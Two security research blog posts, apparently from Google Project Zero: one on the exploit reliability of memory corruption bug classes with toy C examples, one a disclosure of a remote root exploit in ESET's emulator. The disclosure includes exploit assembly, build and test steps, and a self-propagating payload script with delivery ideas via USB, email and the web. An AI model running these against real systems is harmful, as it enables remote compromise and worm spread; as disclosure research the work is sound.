Friday, June 26, 2015

What is a "good" memory corruption vulnerability?

Posted by Chris Evans, register whisperer. Part 1 of 4.


There are a lot of memory corruption vulnerabilities in software, but not all are created equal. To a certain degree, the “usefulness” of a given memory corruption vulnerability is determined by how reliably it might be exploited. In some favorable instances, a given bug might be exploitable with near 100% reliability.


In this series of blog posts, we’ll examine what types of memory corruption vulnerabilities have the best potential to lead to 100% reliable exploits, using a few recent public bugs in our bug tracker as learning tools. By providing research and data of this nature to the defensive community, we can guide defensive and mitigation efforts. The tools and techniques for reliable exploitation can be studied and dissected to both find new ideas for mitigations, and to improve existing mitigations. For example, we note below that type confusion vulnerabilities can be quite nasty and we’re investigating compiler-based mitigations for these.


What do we mean by reliable?
At first this might sound like a silly question, but in fact that are a lot of facets to “reliable”. We’re not trying to give an authoritative definition of reliable here, and we’ll narrow the scope below, but here are some of the problems under the umbrella of “reliability”:


  • Does the exploit ever crash? This is probably the worst outcome for the attacker: a crash is a noisy signal that may lead to detection.
  • Does the exploit ever bail out cleanly? We’ll call this “aborting”, and an abort is defined as a clean exit without successful exploitation but also without any crash or other detectable signal.
  • Does the exploit work uniformly across an exhaustive test matrix of different patch levels?
  • Does the exploit work in the presence of additional security software such as EMET, Grsecurity, Anti-Virus products, etc.?
  • How is the exploit likely to behave upon encountering an unusual environment? Will it succeed, crash or abort?
  • Is the exploit cross-platform and cross-version?
  • Does the exploit have a robust “continuation of execution” story, i.e. no post-exploitation instability or other untoward effects?


Given all this complexity, we need to define what we mean by “100% reliable” in the context of this post. A “100% reliable” exploit is one that is:

  1. Guaranteed to succeed against a specific version and environment, on account of comprising a series of deterministic and fully understood steps;
  2. Provides adequate control that at a minimum, all the above sources of unreliability can be detected and lead to aborts, not crashes.


Bug class: stack corruptions
Despite modern compiler technologies such as stack cookies and stack variable re-ordering, we still see the occasional stack corruption that is interesting from an exploitation point of view. For example, bug 291 details a very interesting stack corruption in an open-source JPEG XR image decoder where an array indexing error on the stack leads to a write that “jumps over” the stack cookie and causes a corruption that is not detected by stack protections. The PoC reliably  and dare we claim, deterministically, crashes with ebp==0xffffffef. That hints to the bug’s potential reliability.


Stack corruptions do have the potential to be the basis for 100% reliable exploits, because the stack is often laid out very consistently at the time a vulnerability triggers. The follow code sample illustrates the point nicely by popping a calculator due to a stack corruption. If it works for you the first time, it’ll also work for you the second!


// Fedora 20 x64: gcc -fstack-protector ./stack.c
void subfunc() {
   char buf[8];
   buf[16] = 1;
}


int main() {
   int run_calc = 0;
   subfunc();
   if (run_calc) execl("/bin/gnome-calculator", 0);
}


Bug class: inter-chunk heap overflow or corruption
Probably still the most common vulnerability class we encounter, writing linearly off the end of a heap allocation is usually readily exploitable. However, it is unusual for such a vulnerability to lead to a 100% reliable exploit. One case where we almost got there was this off-by-one heap overflow in glibc. That’s an unusual case because we were attacking a command-line binary, where the heap does end up in a deterministic state at the time of the exploit attempt. Far more common is where the attacker is attacking a heap which is in a completely unknown state -- perhaps in the context of a remote service, a web browser renderer process or a kernel.


There does exist a well-used technique called “heap grooming” which attempts to take a heap from an unknown state into a state where heap chunks are lined up in a productive arrangement for exploitation. There are good examples from previous Project Zero blog posts, such as this Safari exploit, this Flash regex exploit or this Flash 4GB-out-of-bounds exploit. Although heap grooming can generate very reliable exploits, there is still usually a probabilistic element to the technique, so we end up lacking the determinism needed to claim 100% reliable exploitation.


The following code sample illustrates some of the concepts of determinism vs. non-determinism:


// Fedora 20 x64: gcc ./interheap.c; n=0; while true; do ./a.out; done
int main(int argc, const char* argv[]) {
   void* ptrs[1024];
   int i;
   void* ptr1;
   int *run_calc;
   int seed = (argc > 1) ? atoi(argv[1]) : getpid();
   srandom(seed); printf("seed: %d\n", seed);  // ./a.out 21526 pops.
   for (i = 0; i < 1024; ++i) ptrs[i] = malloc(random() % 1024);
   for (i = 0; i < 1024; ++i) if (random() % 2) free(ptrs[i]);
   ptr1 = malloc(128); run_calc = malloc(128);
   *run_calc = 0;
   memset(ptr1, 'A', 4096);
   if (*run_calc) execl("/bin/gnome-calculator", 0);
}


For a given seed on a given machine, the heap often ends up in the same state because a command-line binary starts with a fresh heap. (We’re going to stop shy of calling the state deterministic because we haven’t studied all the potential influences. We also note that different installations of the same Linux OS will vary due to e.g. different malloc() patterns in the dynamic linker depending on installed libraries.) Some of the heap states will lead to a calculator and some will not.


Bug class: use-after-free
Use-after-free vulnerabilities can lead to very reliable exploits, particularly when the “free” and the “use” are close together, and / or the attacker gets to trigger the free via a scripting language. A lot of the reliability comes from the way modern heap allocators tend to work: if an object of size X is free’d, then it will typically be the next free heap slot handed out for the next allocation of size X. This maximizes the use of “cache hot” memory locations. It is also extremely deterministic. For those wanting to study a good use-after-free exploit, one possibility is this Pinkie Pie exploit from 2013. Although there are very non-deterministic elements to the exploit, step 2) is where the free’d object is re-purposed and that does represent a fairly deterministic step.


But, use-after-free bugs are not a perfect basis for a 100% reliable exploit. Generic challenges include:
  • Threading. Depending on the heap implementation, a secondary thread might grab the free’d slot that the exploit on the primary thread wanted.
  • Heap corner-cases. Depending on the heap implementation, a free operation might well trigger some reshuffle of central structures. Whilst unlikely, it is hard to be sure this will not happen if the heap is in an unknown state at the time of exploitation.
  • Sensitivity to object sizes changing. Although this will not affect reliability against a specific software version, there’s always the chance of an exploit breaking (and perhaps even difficulty to repair it) if a patch comes out which makes important object sizes bigger or smaller.


This simple code sample should illustrate the point that use-after-free bugs can be pretty nasty, though:


// Fedora 20 x64: gcc ./uaf.c
struct unicorn_counter { int num; };

int main() {
   struct unicorn_counter* p_unicorn_counter;
   int* run_calc = malloc(sizeof(int));
   *run_calc = 0;
   free(run_calc);
   p_unicorn_counter = malloc(sizeof(struct unicorn_counter));
   p_unicorn_counter->num = 42;
   if (*run_calc) execl("/bin/gnome-calculator", 0);
}


Bug class: intra-chunk heap overflow or relative write
Intra-chunk heap overflows or intra-chunk relative writes can provide a very powerful exploitation primitive. This time, we’ll start with the sample code:


// Fedora 20 x64: gcc ./intraheap.c
struct goaty { char name[8]; int should_run_calc; };

int main(int argc, const char* argv[]) {
   struct goaty* g = malloc(sizeof(struct goaty));
   g->should_run_calc = 0;
   strcpy(g->name, "projectzero");
   if (g->should_run_calc) execl("/bin/gnome-calculator", 0);
}


A bug like this is extremely powerful because the memory corruption does not cross a heap chunk. Therefore, all of the uncertainty and non-determinism arising from unknown heap state is eliminated. The heap can be in any state, yet the same program data will always be corrupted in the same way. Bugs like these are very capable of leading to 100% reliable exploits. Bug 251 is a real-world example of a linear buffer overflow within a heap chunk. Bug 265 is a rare but very interesting example of an indexing error leading to an out-of-bounds write but within the confines of a single heap chunk. The trigger is also interesting: a protocol where a virtual pen writes characters on to a virtual screen, and we use a protocol message to set the virtual pen location to co-ordinates that are off-screen! The PoC deterministically crashes whilst operating on a wild but constrant address, free(0x2000000000).


Bug class: type confusion
Type confusion bugs can be very powerful, with the potential to form the basis of 100% reliable exploits. When triggering a type confusion vulnerability, a piece of code has a reference to an object which it believes to be of type A (the API type), but really it is confused and the object is of type B (the in-memory type). Depending on the in-memory structure of type A vs. type B, very weird but usually fully deterministic side-effects can occur. Time for the code sample:


// Fedora 20 x64: gcc ./confused.cc -lstdc++
#include <unistd.h>

class IShouldRunCalculator { public: virtual bool UWannaRun() = 0; };

class CalculatorDecider final : public IShouldRunCalculator {
public:
   CalculatorDecider() : m_run(false) {}
   virtual bool UWannaRun() { return m_run; }
private: bool m_run;
};

class DelegatingCalculatorDecider final : public IShouldRunCalculator {
public:
   DelegatingCalculatorDecider(IShouldRunCalculator* delegate) : m_delegate(delegate) {}
   virtual bool UWannaRun() { return m_delegate->UWannaRun(); }
private: IShouldRunCalculator* m_delegate;
};

int main() {
   CalculatorDecider nonono;
   DelegatingCalculatorDecider isaidno(&nonono);
   IShouldRunCalculator* decider = &isaidno;
   CalculatorDecider* confused_decider = reinterpret_cast<CalculatorDecider*>(decider);
   if (confused_decider->UWannaRun()) execl("/bin/gnome-calculator", 0);
}


As you can see from the code, there’s a general attempt to say no to calculation, but a type confusion causes CalculatorDecider::UWannaRun() to perform a boolean check on an underlying piece of memory that is really a (non-null) pointer. So we’ll always end up calculating. (Or will we? It happens to calculate reliably on my machine but there’s a source of non-determinism here for readers that enjoy a thought exercise.)


A good study of a real type confusion bug and exploit is MWR Infosecurity’s blog post regarding their Pwn2Own 2013 entry against Google Chrome. Interestingly enough, this is one case where the bug does not easily lend itself to a 100% reliable exploit. In this instance, there is a small in-memory type confused against a much larger API type. Therefore, when the code is accessing most of the raw fields, a heap boundary is crossed because the offset of the field in the API type is larger than the size of the in-memory type. As we have seen above, crossing heap boundaries is a no-no for reliability. The following diagram shows the two main possibilities of type confusion member use. The object on the left is the object the compiler has emitted code for, on account of a bad cast. But at runtime, the object memory pointed to happens to be smaller because the type in memory is different. Accesses that happen to be within bounds of the runtime object will behave deterministically -- such as an ASLR defeating pointer infoleak in the GetSize() method. Accesses that cross a heap boundary are out-of-bounds and are unlikely to behave deterministically -- such as a memory corrupting write in the SetFlags() method.





Case study: ShaderParameter heap corruption, the old school way
This post has been about bug reliability, so it may seem strange that we’re about to present an unreliable exploit. But this is a story about demonstrating conventional wisdom and then challenging ourselves to produce something more reliable using the same bug primitive. We start with poor reliability and will then improve until we have excellent reliability.


So, we end this post by exploiting a recently patched vulnerability in Adobe Flash. It’s bug 324, an out-of-bounds write relating to the ShaderParameter ActionScript class. The attacker gets to write a chosen 32-bit value at a bad index relative to a shader program. A large index will result in an out-of-bounds write off the end of a heap chunk.


Given an out-of-bounds write primitive like this, there’s now a highly standard way of exploiting Adobe Flash: simply use heap grooming to arrange for a Vector.<uint> buffer object to follow the object which the write goes off the end of. The errant write will then clobber the length of the Vector, resulting in the ability to read and write arbitrary process memory past the end of the Vector.





A reasonably commented exploit for Linux x64 is attached to the bug. No particular attempt has been made to make it reliable; it could probably be tidied up to be much more reliable. But we’re not going to get to 100% reliability with this particular exploit for reasons covered above, because we’ve blindly corrupted across a heap chunk boundary.


After Adobe released the patch to fix this bug, but well before we released details of the bug, non-zero day exploits started showing up in exploit packs in the wild. Perhaps the attackers are fast at binary diffing, or have a MAPP leak, or were already using the vulnerability in a more targeted manner; we may never know. However this happened, it did generate us another data point and another exploit to study -- which also uses the standard Vector exploitation tricks according to @HaifeiLi on Twitter.


We’ll conclude this post here with a promise that we’re not done with this specific bug. In the next post in the series, we’ll ask the question, “can we do something more reliable with this bug?” and as you might guess, the answer will be yes.

Tuesday, June 23, 2015

Analysis and Exploitation of an ESET Vulnerability

Do we understand the risk vs. benefit trade-offs of security software?

Tavis Ormandy, June 2015

Introduction



Many antivirus products include emulation capabilities that are intended to allow unpackers to run for a few cycles before signatures are applied. ESET NOD32 uses a minifilter or kext to intercept all disk I/O, which is analyzed and then emulated if executable code is detected.


Attackers can cause I/O via Web Browsers, Email, IM, file sharing, network storage, USB, or hundreds of other vectors. Whenever a message, file, image or other data is received, it’s likely some untrusted data passes through the disk. Because it’s so easy for attackers to trigger emulation of untrusted code, it’s critically important that the emulator is robust and isolated.


Unfortunately, analysis of ESET emulation reveals that is not the case and it can be trivially compromised. This report discusses the development of a remote root exploit for an ESET vulnerability and demonstrates how attackers could compromise ESET users. This is not a theoretical risk, recent evidence suggests a growing interest in anti-virus products from advanced attackers.


FAQ



  • Which platforms are affected?
ESET signatures are executable code, they’re unpacked at runtime from the DAT and NUP files and then loaded as modules. As the DAT files are shared across all platforms and versions, all platforms are affected.


  • Which versions and products are affected?
All currently supported versions and editions of ESET share the vulnerable code.


This includes, but is not limited to, these products:
- ESET Smart Security for Windows
- ESET NOD32 Antivirus for Windows
- ESET Cyber Security Pro for OS X
- ESET NOD32 For Linux Desktop
- ESET Endpoint Security for Windows and OS X
- ESET NOD32 Business Edition


  • Is the default configuration affected?
Yes.


  • Am I still vulnerable if I disable “Real Time” scanning?
If you also disable the scheduled scan, you would only be affected if you manually scan a file from a context menu or GUI.


Note that if you disable “Real Time” scanning, ESET will constantly warn that you’re not getting “maximum protection”.


  • Is an exploit available for analysis?
Yes, a working remote root exploit is included with this report.


  • Is there an update available?
Yes, ESET released an update to their scan engine on 22-Jun-2015.


Impact



Any network connected computer running ESET can be completely compromised. A complete compromise would allow reading, modifying or deleting any files on the system regardless of access rights; installing any program or rootkit; accessing hardware such as camera, microphones or scanners; logging all system activity such as keystrokes or network traffic; and so on.


There would be zero indication of compromise, as disk I/O is a normal part of the operation of a system. Because there is zero user-interaction required, this vulnerability is a perfect candidate for a worm. Corporate deployments of ESET products are conducive to rapid self-propagation, quickly rendering an entire fleet compromised. All business data, PII, trade secrets, backups and financial documents can be stolen or destroyed.


These scenarios are possible because of how privileged the scan process is. For Windows networks, it is possible to compromise and take over the ekrn.exe process, granting NT AUTHORITY\SYSTEM to remote attackers. On Mac and Linux, it is possible to compromise and take over the esets_daemon process, granting root access to attackers.


Figure 1 is a video of one exploitation scenario: a regular user clicking on a link while using a default installation of ESET NOD32 Business Edition. Once the user clicks the link, the attacker can execute arbitrary commands as root. Malicious links are not the only attack vector, this is intended as a demonstration of one of the hundreds of possible vectors.


All versions, platforms and products appear to be affected in their default configuration. For more examples of possible payloads and exploitation scenarios, see "Sample Payloads" below.

Screenshot from 2015-06-18 15:59:50.png
Figure 1. Watch a demonstration of an attack via a web browser in a default ESET configuration. http://youtu.be/Sk-CuFMXods

Technical Analysis



The specific vulnerability exploited in Figure 1 exists in an ESET NOD32 signature that attempts to shadow emulated stack operations. The signature requires at least three sections, and the IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE characteristics in the IMAGE_SECTION_HEADER. The first instruction at the entry point must be a CALL to a PUSHA followed by a PUSHF.


If these conditions are met, the signature single-steps the code for 80000 cycles in an x86 emulator. After each instruction, the previous opcode is checked for stack operations, and if found, shadows PUSH, POP and ESP arithmetic on it’s own 40 byte stack buffer. The purpose of the shadow stack appears to be detecting malware that writes known values in the space allocated by PUSHA;PUSHF, explaining why such a small buffer is used. This was probably intended to detect some form of entry point obfuscation.


The code below shadows arithmetic operations on ESP.


load:F33E0BD3 CheckEspArith:                       
load:F33E0BD3                 cmp     esi, 6  (a)
load:F33E0BD6                 jnz     short loc_F33E0C06
load:F33E0BD8                 cmp     [ebp+Instruction.Operand+4], 1
load:F33E0BDF                 jnz     short loc_F33E0C06
load:F33E0BE1                 cmp     [ebp+Instruction.Operand], 124h
load:F33E0BEB                 jnz     short loc_F33E0C06
load:F33E0BED                 cmp     [ebp+Instruction.Operand1+4], 9
load:F33E0BF1                 jnz     short loc_F33E0C06
load:F33E0BF3                 mov     eax, [ebp+Instruction.Operand1+24h] (b)
load:F33E0BF6                 shr     eax, 2
load:F33E0BF9                 sub     ebx, eax (c)
load:F33E0BFB                 movzx   eax, [ebp+Instruction.InstructionSize]
load:F33E0BFF                 add     edi, eax (d)
load:F33E0C01                 jmp     InstructionComplete


The comparison at (a) is checking for an arithmetic class instruction, followed by an operand check. The code at (b) extracts the immediate operand, and then subtracts it from the shadow stack pointer at (c). The virtual program counter is incremented past the instruction at (d).


load:F33E0B61 CheckPush:
load:F33E0B61                 cmp     esi, 10Eh       (a)
load:F33E0B67                 jnz     short CheckPop
load:F33E0B69                 push    [ebp+Instruction.BranchRelated]
load:F33E0B6F                 lea     eax, [ebp+Instruction.Operand]
load:F33E0B75                 push    eax
load:F33E0B76                 call    GetOperand      (b)
load:F33E0B7B                 mov     [ebp+ebx*4+EmulatedStack], eax (c)
load:F33E0B7F                 inc     ebx
load:F33E0B80                 movzx   eax, [ebp+Instruction.InstructionSize]
load:F33E0B84                 add     edi, eax        ; Increment Program Counter
load:F33E0B86                 cmp     ebx, 0Ah        (d)
load:F33E0B89                 jb      InstructionComplete
load:F33E0B8F
load:F33E0B8F StackOutOfBounds:                       ; CODE XREF: sub_F33E0A70+D7j
load:F33E0B8F                                         ; sub_F33E0A70+DFj ...
load:F33E0B8F                 mov     ecx, [ebp+EmulatorObject]
load:F33E0B92                 call    ShutdownEmulator


Here you can see the code check for a PUSH operation at (a). The operand value is retrieved from the emulator state at (b) and stored to the shadow stack (c). The stack pointer is checked at (d) against 10 DWORDS, to ensure it’s not moved out of bounds.


The implementation of POP follows a similar pattern:


load:F33E0B9E CheckPop:                          
load:F33E0B9E                 cmp     esi, 0F3h             (a)
load:F33E0BA4                 jnz     short loc_F33E0BD3
load:F33E0BA6                 cmp     [ebp+Instruction.Operand+4], 1  (b)
load:F33E0BAD                 jnz     short loc_F33E0B8F
load:F33E0BAF                 test    ebx, ebx  (c)
load:F33E0BB1                 jz      short loc_F33E0B8F
load:F33E0BB3                 mov     ecx, [ebp+Instruction.Operand]
load:F33E0BB9                 dec     ebx
load:F33E0BBA                 and     ecx, 7
load:F33E0BBD                 mov     eax, [ebp+ebx*4+EmulatedStack] (c)
load:F33E0BC1                 mov     ds:EmulatedRegisters[ecx*4], eax
load:F33E0BC8                 movzx   eax, [ebp+Instruction.InstructionSize]
load:F33E0BCC                 add     edi, eax
load:F33E0BCE                 jmp     InstructionComplete


This code handles a POP operation, the instruction class is tested at (a), and it’s verified this is a store to a register (b)  and that the stack pointer is not zero at (c) , as a POP operation at zero would move the stack out of bounds.


The bug is that the validation to ensure that the shadow stack pointer is not moved out of bounds is bypassed by arithmetic operations on ESP. The code is approximated in pseudocode in Figure 3.


DWORD ShadowStack[10] = {0};
DWORD ShadowStackPointer = 0;

for (Cycles = 0; Cycles < 80000; Cycles++) {
   Emulator->Step(&ProgramCounter, &Instruction);

   if (Instruction.Class == PUSH) {
       ShadowStack[ShadowStackPointer++] = Emulator->GetOperandValue();
       if (ShadowStackPointer >= 10)
           Emulator->Shutdown();
   }

   if (Instruction.Class == POP) {
      if (!ShadowStackPointer || Instruction.Operand[1].Type != REGISTER)
           Emulator->Shutdown();
      Registers[Instruction.Operand[1].Register] = ShadowStack[ShadowStackPointer--];
   }

   if (Instruction.Class == ADD && Instruction.Operand[0].Register == REG_ESP) {
       // BUG!
       ShadowStackPointer -= Instruction.Operand[1].Value / 4;
   }

   if (Emulator->Fault) {
       Emulator->Shutdown();
   }
}   

Emulator->Shutdown();
Figure 3. Pseudocode for the emulation routine.

Using these three shadow operations, an attacker can build a write-what-where primitive and gain control of the emulator. The remainder of this document discusses how to build an exploit for this vulnerability, and some of the constraints and limitations that must be overcome to build a reliable cross-platform exploit.


Building Exploit Primitives



By moving the stack out of bounds with arithmetic instructions, then interacting with it using PUSH and POP, we’re able to read and write to the real stack from within the emulator using standard i586 machine code.


There is an upper limit on the number of instructions we can execute, and we can only write to the stack once. This is because after a PUSH operation the shadow stack pointer is bounds checked. We have (effectively) unlimited reads, because POP only verifies the shadow stack pointer is not zero.


Because we’re abusing the virtual stack pointer, locals must be stored in registers or written to .data. 80k cycles may seem generous, but these are quickly exhausted when searching for gadgets reliably across multiple versions of the ESET products.


Defeating Exploit Mitigations



The first step is to learn where the shadow stack is located, because stack operations will be relative to its base address. There are no predictable locations we can read or write to, but we can push the pointer into the real stack frame and retrieve the real saved stack pointer onto a virtual register.


Once we know some addresses, ASLR is defeated and we are not restricted to adjacent memory. To take advantage of this, we need to be able to move to set the shadow stack pointer to an arbitrary index. This can be achieved using a 5-stage process to shift out the high order bits. The actual index calculation is approximately:


ShadowStackPointer = ShadowStackPointer - ((unsigned) Index >> 2);


This makes it impossible to increment the shadow stack pointer in a single operation because of overflow, instead we can wrap it in 4 operations to the next multiple of 4, then decrement it to the desired value. Here is an example, let’s simulate how to make the shadow stack pointer 123:


(gdb) p 123 / 4 + 1
$1 = 31
(gdb) p/x 0 - (-(31U * 4) >> 2)
$2 = 0xc000001f
(gdb) p/x 0xc000001f - (-(31U * 4) >> 2)
$3 = 0x8000003e
(gdb) p/x 0x8000003e - (-(31U * 4) >> 2)
$4 = 0x4000005d
(gdb) p   0x4000005d - (-(31U * 4) >> 2)
$5 = 124
(gdb) p 124 - (((4U - (123 % 4)) * 4) >> 2)
$6 = 123
(gdb)

Using this primitive in combination with PUSH/POP allows us to interact with the stack at any arbitrary index. Figure 4 shows how this can be done from within the emulator using x86 machine code.


accessframe:
   ;
   ; Retrieve information from our stack frame.
   ;
   ; EDI   Real return address
   ; ESI   Real base pointer
   ;
   ;
   ; The stack frame looks like this:
   ;
   ;   -00000030 ShadowStack     dd 10 dup(?)
   ;   -00000008 ModifyCount     dd ?
   ;   -00000004 CycleCount      dd ?
   ;   +00000000  s              db 4 dup(?)
   ;   +00000004  r              db 4 dup(?)
   ;   +00000008 EmulatorObject  dd ?
   ;
   ; So s is 30h + 8 + 4 bytes from the base of ShadowStack. Because the
   ; ShadowStackPointer is an index into an array of DWORDS, we need to set it
   ; to (30h + 8 + 4) / 4 = 15.
   ;
   ; Then we can load s (saved register), and r (return address)
   ; onto virtual registers. To calculate the value of real EBP, we take the
   ; previous frame's sp and subtract our frame size.

   ; We need to move the shadow stack pointer back in five stages.
   add     esp, byte -(4 << 2)     ; SSP=0xC0000004
   add     esp, byte -(4 << 2)     ; SSP=0x80000008
   add     esp, byte -(4 << 2)     ; SSP=0x4000000C
   add     esp, byte -(4 << 2)     ; SSP=0x00000010
   add     esp, byte  (1 << 2)     ; SSP=0x0000000F
   pop     esi                     ; Load the real previous frame's sp.
   pop     edi                     ; Load the return address.
   sub     esi, byte 0x5C          ; Adjust ESI to point to our real stack frame.
Figure 4. Accessing the real stack frame from within the emulator.


We can now point the shadow stack pointer at any arbitrary address by calculating the offset from the stack base. If we point the shadow stack pointer into the .text section, we can scan our address space for gadgets to defeat DEP.


On MacOS, we only need to transfer control to our shellcode, which we can do with a gadget. This is because ESET opt-out of DEP by not setting the MH_NO_HEAP_EXECUTION flag in their Mach header. On Windows and Linux, a complete ROP chain is required.


$ otool -hv /Applications/ESET\ Cyber\ Security\ Pro.app/Contents/MacOS/esets_daemon
/Applications/ESET Cyber Security Pro.app/Contents/MacOS/esets_daemon:
Mach header
     magic cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
  MH_MAGIC    I386        ALL  0x00     EXECUTE    27       3184   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE


If more cycles are required to build a complex chain, a first-stage that resets the cycle count can be used to effectively gain unlimited time to complete the exploit.

findgadget:
   ;
   ; Search for simple gadget at [ESP] using stack operations.
   ;
   ; EDI       Current search location for gadget.
   ; EAX       Last DWORD read from [EDI].
   ;  BL       Byte from [EDI-1].
   ; ECX       Byte index into current DWORD
   ; EBP       Constant Mask
   ; EDX       Constant 4
   ;
   ; This loop uses a modified port of Algorithm 6-2 (Find leftmost 0-byte)
   ; from "Hackers Delight" by Henry Warren, ISBN 0-201-91465-4. The
   ; .nextdword loop is where we burn all our cycles, so optimizing for the
   ; common case doubles our search space.
   ;
   ReqOpcode   equ 0xFF    ; register indirect branch
   ReqOperands equ 0x13112321
   xor     ecx, ecx        ; initialize loop counter
   mov     ebp, 0x7F7F7F7F ; initialize mask
   mov     edx, 4          ; constant
   pop     ebx             ; initialize BL
   bswap   ebx             ; rearrange so high byte is in bl
   dec     edi             ; adjust for start of search
  .nextdword:
   pop     eax             ; fetch another dword to examine
   bswap   eax             ; reorder bytes
   not     eax             ; invert bits because this code searches for 0x00
   mov     ecx, eax        ; ecx is a copy of dword to scan we can modify
   and     ecx, ebp        ; y & 0x7f7f7f7f
   add     ecx, ebp        ; + 0x7f7f7f7f
   or      ecx, eax        ; y | x
   or      ecx, ebp        ; y | mask
   not     eax             ; restore bits, we need them in either case
   xor     ecx, byte ~0    ; ~y; xor instead of not because ZF
   jnz     .matchfound     ; was there a 0xFF?
  .nomatch:
   sub     edi, edx        ; adjust current search pointer
   mov     bl, al          ; save byte for operand match
   jmp     short .nextdword; next dword
Figure 5. Searching for a call [reg] gadget to defeat ASLR/DEP and tolerate minor version variations. When we return from the emulator, [ecx] will point to the beginning of the executable being scanned. This means the machine will re-execute the code from the malware being scanned, but this time on the real CPU!


Figure 5 demonstrates searching the address space using POP. The sequence is optimized to minimize cycles in the common case, as this is an expensive operation. When a good candidate is found, it is simply necessary to overwrite the return address and terminate the emulator.

Testing Exploitability



To assist with analysis, a sample exploit that executes an embedded script is provided with this report, and is available for download here.




To build and test the included exploit, first disable “Real Time” filesystem scanning to prevent accidental compromise. To build the exploit, the Xcode Command Line Tools package from Apple is required. If you don’t have the package installed, you should be automatically prompted to install it when you type make.


$ ls -l
total 28K
-rw------- 1 taviso eng 17K Jun 18 12:45 esetemu.asm
-rw------- 1 taviso eng 605 Jun 18 10:31 Makefile
-rw------- 1 taviso eng 514 Jun 18 15:58 payload.sh
The file payload.sh is embedded into the exploit and run on successful compromise.


$ cat payload.sh
#!/bin/sh
#
# This is the payload code run as root in the context of esets_daemon after
# successful exploitation.
#
osascript -e 'tell application "Finder" to set desktop picture to POSIX file "/usr/share/httpd/icons/bomb.png"'
/Applications/Calculator.app/Contents/MacOS/Calculator &
echo w00t
uname -a; date; id

Execute make to build the exploit, the file esetemu.bin contains the result. File extension is not important for this vulnerability, even .txt would work.


$ make
gzip -9c < payload.sh | base64 | tr -d '\n' >> payload.inc
nasm -O0 -f bin -D__MACOS__ -o esetemu.bin esetemu.asm
To test the exploit, use the esets_scan utility from the ESET installation. This is run as your own user, but it’s easy to tell if something went wrong, such as a crash or a syntax error in your script.


$ /Applications/ESET\ Cyber\ Security\ Pro.app/Contents/MacOS/esets_scan esetemu.bin

ESET Command-line scanner, (C) 1992-2011 ESET, spol. s r.o.
Module loader, version 1056 (20150113), build 1082
Module perseus, version 1456 (20150512), build 1687
Module scanner, version 11810 (20150619), build 24399
Module archiver, version 1228 (20150528), build 1230
Module advheur, version 1154 (20150129), build 1120
Module cleaner, version 1109 (20150519), build 1140

Command line: esetemu.bin

Scan started at:   Thu Jun 18 21:57:48 2015
w00t
Darwin Macs-Mac.local 13.0.0 Darwin Kernel Version 13.0.0: Thu Sep 19 22:22:27 PDT 2013; root:xnu-2422.1.72~6/RELEASE_X86_64 x86_64
Thu Jun 18 21:57:48 PDT 2015
uid=501(macuser) gid=20(staff) groups=20(staff),401(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh)
The easiest way to test the exploit against a live system is to enable “Real Time” scanning and cat the file.


$ cat esetemu.bin > /dev/null


If the exploit succeeded, the payload.sh script will have been executed as root. Note that you will not see stdout or stderr in this mode, so redirect the output to a file if you want it. If this works, you can test it as an email attachment, browser download, webapp upload, etc.


The ESET daemon handles termination gracefully, and a user should not notice that exploitation occurred.

Sample Payloads

USB & Removable Disk Exploitation



By naming the exploit .hidden and placing it in the root directory of a mounted volume (for example, /Volumes/My Drive/.hidden), the exploit will be automatically executed when the device is inserted. By default, ESET CyberSecurity Pro 6 prompts when you insert a new USB/CD-ROM/DVD device, but it doesn’t matter what option you select (or if you select no option at all), the exploit is successful.


You could even self-propagate to other mounted volumes, like so:


$ cat payload.sh
#!/bin/sh
#
# This is the payload code run as root in the context of esets_daemon after
# successful exploitation.
#
# This silly example demonstrates simple propagation.
#

# Discard output
exec &> /dev/null

# Do something malicious.
/Applications/Calculator.app/Contents/MacOS/Calculator &

# Is there an exploit on a Volume?
name="$(find /Volumes -type f -depth 2 -name .hidden -size 79911c | head -n 1)"

# Yes, propagate to all other disks.
test -f "${name}" && find /Volumes -type d                          \
                                  -depth 1                         \
                                  -exec cp -f -- "${name}" {} \;   \
                                  -exec sleep 1 \;


This technique would allow you to traverse air-gapped networks where ESET is deployed with no user-interaction. This would work on Windows networks as well, simply use desktop.ini or autorun.inf instead.

E-Mail Exploitation



Sending the exploit as a MIME attachment to a user of Mail.app, Outlook, etc. permits automatic exploitation with no user interaction at all. The act of fetching new email is sufficient for exploitation, there is no need for them to read it or open attachments.


Using mime:cid references it is also possible for this to work with Webmail users.


Web Exploitation



The exploit can be uploaded as an image file to trusted websites, or self-hosted on an attacker's website.  Alternatively, HTML5 Application Caches, Downloads, or simply serving the exploit as text/html are sufficient.

Conclusion



Finding, analyzing and exploiting this vulnerability took just a few days of work. ESET have informed us they’re working on improving their deployment of mitigations to make this harder in future.

Acknowledgements


This vulnerability was discovered by Tavis Ormandy of Google Project Zero.